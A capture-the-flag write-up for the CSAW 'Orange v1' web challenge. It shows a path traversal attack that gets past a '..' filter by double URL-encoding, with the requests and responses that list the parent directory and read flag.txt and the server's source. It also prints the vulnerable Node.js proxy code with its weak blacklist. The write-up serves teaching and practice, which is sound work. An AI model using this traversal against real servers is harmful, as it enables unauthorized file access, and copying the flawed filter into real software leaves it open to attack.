# ▼▼▼Orange v1(Web:100)▼▼▼ (421/1444 team=29.2%)**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```I wrote a little proxy program in NodeJS for my poems folder.Everyone wants to read flag.txt but I like it too much to share.http://web.chal.csaw.io:7311/?path=orange.txt```
### 【function】GET /?path=orange.txt
↓
`i love oranges`
### 【goal】find **flag.txt**
### 【Search for vulnerabilities】
GET /?path=
↓
```<html><title>Directory listing for /poems/</title><body><h2>Directory listing for /poems/</h2><hr>burger.txthaiku.txtorange.txtppp.txtthe_red_wheelbarrow.txt<hr></body></html>```
↓
**Directory listing vulnerability★**
-----
GET /?path=../
GET /?path=..
↓
`WHOA THATS BANNED!!!!`
↓
**..(dot) is detected!!★**
-----
**Double encode**(https://www.owasp.org/index.php/Double_Encoding)
↓
GET /?path=**%252e%252e**/
↓
```<html><title>Directory listing for /poems/../</title><body><h2>Directory listing for /poems/../</h2><hr>.dockerignoreback.pyflag.txtpoems/serve.shserver.js<hr></body></html>```
↓
Success!!★
-----
GET /?path=%252e%252e/flag.txt
↓
**flag{thank_you_based_orange_for_this_ctf_challenge}**
-----
### -----Reference: Other source code)-----GET /?path=%252e%252e/server.js
↓
```var http = require('http');var fs = require('fs');var url = require('url');
var server = http.createServer(function(req, res) {    try {        var path = url.parse(req.url, true).query;        path = path['path'];        if (path.indexOf("..") == -1 && path.indexOf("ＮＮ") == -1) {            var base = "http://localhost:8080/poems/";            var callback = function(response){                var str = '';                response.on('data', function (chunk) {                    str += chunk;                });                response.on('end', function () {                  res.end(str);                });            }            http.get(base + path, callback).end();        } else {            res.writeHead(403);            res.end("WHOA THATS BANNED!!!!");        }    }    catch (e) {        res.writeHead(404);        res.end('Oops');    }});server.listen(9999);```
-----
GET /?path=%252e%252e/back.py
↓
```#!/usr/bin/python
import SimpleHTTPServerimport SocketServer
PORT = 8080
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "Serving at port", PORThttpd.serve_forever()```
-----
GET /?path=%252e%252e/serve.sh
↓
```#!/usr/bin/env bash
python back.py &nodejs server.js```
-----
GET /?path=.%252e/.dockerignore
↓
```Dockerfiledocker-compose.ymlREADME.md```